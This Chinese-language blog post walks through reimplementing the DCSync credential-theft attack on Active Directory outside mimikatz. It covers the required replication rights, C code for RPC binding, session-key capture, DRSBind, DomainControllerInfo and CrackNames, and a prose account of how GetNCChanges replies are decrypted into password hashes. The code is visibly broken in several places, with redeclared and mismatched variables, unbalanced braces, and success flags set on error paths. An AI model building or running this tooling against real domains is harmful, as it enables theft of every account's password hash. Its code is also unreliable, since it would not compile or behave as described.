2023/1/4

跟着@whoami走了个坑,想着把dcsync单独从mimikatz中摘出来。

什么是dcsync

DCSync 是一种攻击,它允许模拟域控制器 (DC) 的行为并通过域复制检索密码数据。

需要的acl

  • DS-Replication-Get-Changes(GUID:1131f6aa-9c07-11d1-f79f-00c04fc2dcd2)
  • DS-Replication-Get-Changes-All(GUID:1131f6ad-9c07-11d1-f79f-00c04fc2dcd2)

大致原理

目录复制服务 (DRS) 远程协议是一种RPC 协议,用于在Active Directory中复制和管理数据。
该协议由两个名为 drsuapi 和 dsaop 的 RPC 接口组成。每个 drsuapi 方法的名称以“IDL_DRS”开头,而每个 dsaop 方法的名称以“IDL_DSA”开头。
使用mimikatz执行dcsync攻击,如果使用etw之类的检测,会发现实际用的api有以下4个:

IDL_DRSBind
创建一个上下文句柄,这是调用本接口中任何其他方法所必需的。
IDL_DRSDomainControllerInfo
获取域guid
IDL_DRSCrackNames
获取用户guid
IDL_DRSGetNCChanges
复制数据

所以利用以上api,便可以实现dcsync功能,在下文,我将简单讲明api直接的调用以便有兴趣的读者自己编写。

0x01 rpc连接

首先IDL_DRSBind需要一个rpc句柄,而rpc连接主要用到了以下3个api:

  • RpcStringBindingComposeW
  • RpcBindingFromStringBindingW
  • RpcBindingSetAuthInfoW

具体读者可以参考微软官方文档

#include "rpcdce.h"
#define SECURITY_WIN32
#include <Windows.h>
#include <sspi.h>
BOOL CreateRPC(LPCWSTR ObjUuid, LPCWSTR ProtSeq, LPCWSTR NetworkAddr,
LPCWSTR Endpoint, LPCWSTR DomainName, LPCWSTR Duser, LPCWSTR Dpass,
RPC_BINDING_HANDLE* hBinding, void (RPC_ENTRY* RpcSecurityCallback)(void*))
{
RPC_STATUS rpcstatus;
BOOL status = FALSE;
unsigned char* StringBinding=NULL;
handle_t *hBinding;
LPWSTR ServerPrincName[MAX_PATH+1];
DWORD pcSpnLength = MAX_PATH;
SEC_WINNT_AUTH_IDENTITY Authinfo;
rpcstatus = RpcStringBindingCompose(NULL, (RPC_WSTR) ProtSeq, (RPC_WSTR) NetworkAddr, (RPC_WSTR) Endpoint, NULL, (RPC_CSTR*)&StringBinding);
if(rpcstatus == RPC_S_OK)
{
rpcstatus = RpcBindingFromStringBinding(StringBinding, &hBinding);
if(rpcstatus == RPC_S_OK)
{
spnstatus = DsMakeSpn(L"LDAP", NetworkAddr, NULL, 0, NULL, &pcSpnLength, ServerPrincName);
if(spnstatus == ERROR_SUCCESS) {
if(Duser && Dpass){
AuthId.User = Duser;
AuthId.UserLength = strlen(Duser);
AuthId.Domain = DomainName;
AuthId.DomainLength = strlen(DomainName);
AuthId.Password = Dpass;
AuthId.PasswordLength = strlen(Dpass);
AuthId.Flags = SEC_WINNT_AUTH_IDENTITY_UNICODE;
rpcstatus=RpcBindingSetAuthInfoW(&hBinding,(RPC_WSTR)ServerPrincName, RPC_C_AUTHN_LEVEL_DEFAULT,RPC_C_AUTHN_DEFAULT, &Authinfo, RPC_C_AUTHZ_NAME);
}
else{
rpcstatus=RpcBindingSetAuthInfoW(&hBinding,(RPC_WSTR)ServerPrincName, RPC_C_AUTHN_LEVEL_DEFAULT,RPC_C_AUTHN_DEFAULT, NULL, RPC_C_AUTHZ_NAME);
}
if(rpcstatus == RPC_S_OK){
if(RpcSecurityCallback){
rpcstatus=RpcBindingSetOption(&hBinding,RPC_C_OPT_SECURITY_CALLBACK, (ULONG_PTR)RpcSecurityCallback);
if(rpcstatus == RPC_S_OK){
status = TRUE;
}else{
wprintf(L"[-] RpcBindingSetOption Error");
}
status = TRUE;
}else{
wprintf(L"[-] rpcBindingSetAuthInfoW Error");
}

}
status = TRUE;
}else{
wprintf(L"[-] DsMakeSpn Error");
}
status = TRUE;
}else{
wprintf(L"[-] RpcBindingFromStringBinding Error");
}
status = TRUE;
}else{
wprintf(L"[-] RpcStringBindingCompose Error");
}
if(!status){
rpcstatus = RpcBindingFree(*hBinding);
if(rpcstatus == RPC_S_OK){
*hBinding = NULL;
}else{
wprintf(L"RpcBindingFree Error");
}
}

RpcStringFreeW(&StringBinding);
return status;
}

由于后文用到了session key,所以rpc连接成功后,我们需要利用安全回调函数从客户端获取:

SecPkgContext_SessionKey rpc_drsr_sKey = {0, NULL};
void RPC_ENTRY RpcSecurityCallback(void *Context)
{
RPC_STATUS rpcstatus;
SECURITY_STATUS secstatus;
PCtxtHandle data = NULL;

rpcStatus = I_RpcBindingInqSecurityContext(Context, (LPVOID *) &data);
if(rpcstatus == RPC_S_OK)
{
if(rpc_drsr_sKey.SessionKey)
{
FreeContextBuffer(rpc_drsr_sKey.SessionKey);
rpc_drsr_sKey.SessionKeyLength = 0;
rpc_drsr_sKey.SessionKey = NULL;
}
secstatus = QueryContextAttributes(data, SECPKG_ATTR_SESSION_KEY, (LPVOID) &rpc_drsr_sKey);
if(secstatus != SEC_E_OK){
PRINT_ERROR(L"QueryContextAttributes %08x\n", secstatus);
}
else PRINT_ERROR(L"I_RpcBindingInqSecurityContext %08x\n", rpcstatus);
}

关于回调函数,笔者直接采用了mimikatz的源码,其中I_RpcBindingInqSecurityContext用于获取安全上下文。

0x02 IDL_DRSBind

相关结构体以及变量解释可以参考官方文档,IDL_DRSBind主要是创建一个上下文句柄,这是调用本接口中任何其他方法所必需的。
其中_puuidClientDsa不能为空,设置任意值均可。_

BOOL D_IDL_DRSBind(RPC_BINDING_HANDLE rpc_handle,DRS_EXTENSIONS_INT* pextClient,DRS_HANDLE* phDrs){
BOOL status = FALSE;
ULONG drsstatus;
GUID DRSUAPI_DS_BIND_GUID_Standard = {0xe24d201a, 0x4fd6, 0x11d1, {0xa3, 0xda, 0x00, 0x00, 0xf8, 0x75, 0xae, 0x0d}};//只要有就行,不一定非是这个。
DRS_EXTENSIONS_INT pextClient=NULL;
RpcTryExcept {
RtlZeroMemory(pextClientInt, sizeof(DRS_EXTENSIONS_INT));
pextClient->cb = sizeof(DRS_EXTENSIONS_INT) - 4;
pextClient->dwFlags = DRS_EXT_GETCHGREPLY_V6 | DRS_EXT_STRONG_ENCRYPTION | DRS_EXT_GETCHGREQ_V8;
drsstatus = IDL_DRSBind(rpc_handle, &DRSUAPI_DS_BIND_GUID_Standard,
(DRS_EXTENSIONS*)pextClientInt, (DRS_EXTENSIONS**)&pextClient, phDrs);
if(drsstatus==0){
status = TRUE;
}
}
RpcExcept(EXCEPTION_EXECUTE_HANDLER){
wprintf(L"RPCException");
}
RpcEndExcept{
return status;
}
}

0x03 IDL_DRSDomainControllernfo

相关结构体以及变量解释可以参考官方文档,其主要是用于获取dc的guid,但实际测试发现该api其实可有可无。

BOOL D_IDL_DRSDomainControllerInfo(DRS_HANDLE hDrs,DWORD dwInVersion,DRS_MSG_DCINFOREQ* pmsgIn,DWORD* pdwOutVersion,DRS_MSG_DCINFOREPLY* pmsgOut,LPCWSTR Domain,GUID* DomainGUID){
DRS_HANDLE hDrs = NULL;
BOOL DomainGUIDfound = FALSE, ObjectGUIDfound = FALSE;
BOOL status = FALSE;
ULONG drsstatus;
DRS_MSG_DCINFOREQ pmsgIn = { 0 };
DWORD pdwOutVersion = 0;
DRS_MSG_DCINFOREPLY pmsgOut = { 0 };
pmsgIn.V1.InfoLevel = 2;
pmsgIn.V1.Domain = (LPWSTR) Domain;
RpcTryExcept
{
drsstatus = IDL_DRSDomainControllerInfo(hrds, &dwInVersion, &pmsgIn,&pdwOutVersion, &dcInfoReply);
if(drsstatus == 0){
for(i = 0; i < pmsgOut.V2.cItems; i++){
if(!DomainGUIDfound && ((_wcsicmp(ServerName, pmsgOut.V2.rItems[i].DnsHostName) == 0) || (_wcsicmp(Domain, pmsgOut.V2.rItems[i].NetbiosName) == 0))){
DomainGUIDfound = TRUE;
*DomainGUID = pmsgOut.V2.rItems[i].NtdsDsaObjectGuid;//or ServerObjectGuid
status=TRUE;
//https://learn.microsoft.com/zh-cn/windows/win32/api/ntdsapi/ns-ntdsapi-ds_domain_controller_info_2w
}
}else{
wprintf(L"IDL_DRSDomainControllerInfo Error");
}
RpcExcept(EXCEPTION_EXECUTE_HANDLER){
wprintf(L"RPCException");
}
RpcEndExcept{
return status;
}
}

0x04 IDL_DRSCrackNames

相关结构体以及变量解释可以参考官方文档,其主要是用于获取用户的guid,比如DRS_MSG_CRACKREQ_V1DRS_MSG_CRACKREPLY_V1

BOOL D_IDL_DRSCrackNames(DRS_HANDLE hDrs,DWORD dwInVersion,DRS_MSG_DCINFOREQ* pmsgIn,DWORD* pdwOutVersion,DRS_MSG_DCINFOREPLY* pmsgOut,LPCWSTR Username,GUID* duserguid){
DRS_HANDLE hDrs = NULL;
DS_NAME_FORMAT rpsname;
BOOL status = FALSE;
ULONG drsstatus;
DRS_MSG_CRACKREQ pmsgIn = { 0 };
DWORD pdwOutVersion = 1;
DRS_MSG_CRACKREPLY pmsgOut = { 0 };
UNICODE_STRING userguid;
RpcTryExcept
{
if (wcsstr(UserName, L"S-1-5-21-") == UserName){
rpsname=DS_SID_OR_SID_HISTORY_NAME;
}else if (wcschr(UserName, L'\\')){
rpsname=DS_NT4_ACCOUNT_NAME;
}else{
rpsname=DS_NT4_ACCOUNT_NAME_SANS_DOMAIN;
}
pmsgIn.V1.formatOffered=rpsname;
pmsgIn.V1.formatDesired = DS_UNIQUE_ID_NAME;
pmsgIn.V1.cNames = 1;
pmsgIn.V1.rpNames = &UserName;
drsstatus = IDL_DRSCrackNames(hDrs, 1, &pmsgIn,
&pdwOutVersion, &pmsgOut);
if (drsstatus == 0){
RtlInitUnicodeString(&userguid,pmsgOut.V1.pResult->rItems[0].pName);
RtlGUIDFromString(&userguid, duserguid);
status=TRUE;
}else{
wprintf(L"IDL_DRSCrackNames error");
}
}
RpcExcept(EXCEPTION_EXECUTE_HANDLER){
wprintf(L"RPCException");
}
RpcEndExcept{
return status;
}

}

0x05 IDL_DRSGetNCChanges

其实这里主要是OID及attrtyp的转换,可以参考官方文档,笔者这里直接复用了mimikatz相关代码,大致流程如下:
首先DRS_MSG_GETCHGREQ结构体相关生成直接利用kull_m_rpc_drsr_MakeAttid,然后域控制器返回的响应消息是一个DRS_MSG_GETCHGREPLY结构体,这里使用的是DRS_MSG_GETCHGREPLY_V6版本,根据结构体的描述,可以知道,相关信息在pObjects属性中,这是一个REPLENTINFLIST结构的表链,在mimikatz中kull_m_rpc_drsr_ProcessGetNCChangesReply对这个链表进行了遍历,最后kull_m_rpc_drsr_ProcessGetNCChangesReply_decrypt(其实就是文档的反向解密)进行RC4解密。
然后继续调用kuhl_m_lsadump_dcsync_descrObject,调用kuhl_m_lsadump_dcsync_descrUser,针对哈希,微软在使用rId对unicodepwd等进行了加密,所以最终会调用kuhl_m_lsadump_dcsync_decrypt,再利用kull_m_string_wprintf_hex打印。
当然这个过程中利用 kull_m_rpc_drsr_findMonoAttrkull_m_rpc_drsr_findAttrkull_m_rpc_drsr_findAttrNoOID等函数进行了数据结构相关转换读取,具体过程可以参考mimikatz源码,有点复杂…

实现效果:

image.png

后记

mimikatz的整体源码确实有点复杂,而且其中有的函数完全没有任何官方文档,需要逆向+猜解才能知道大致用法…钦佩作者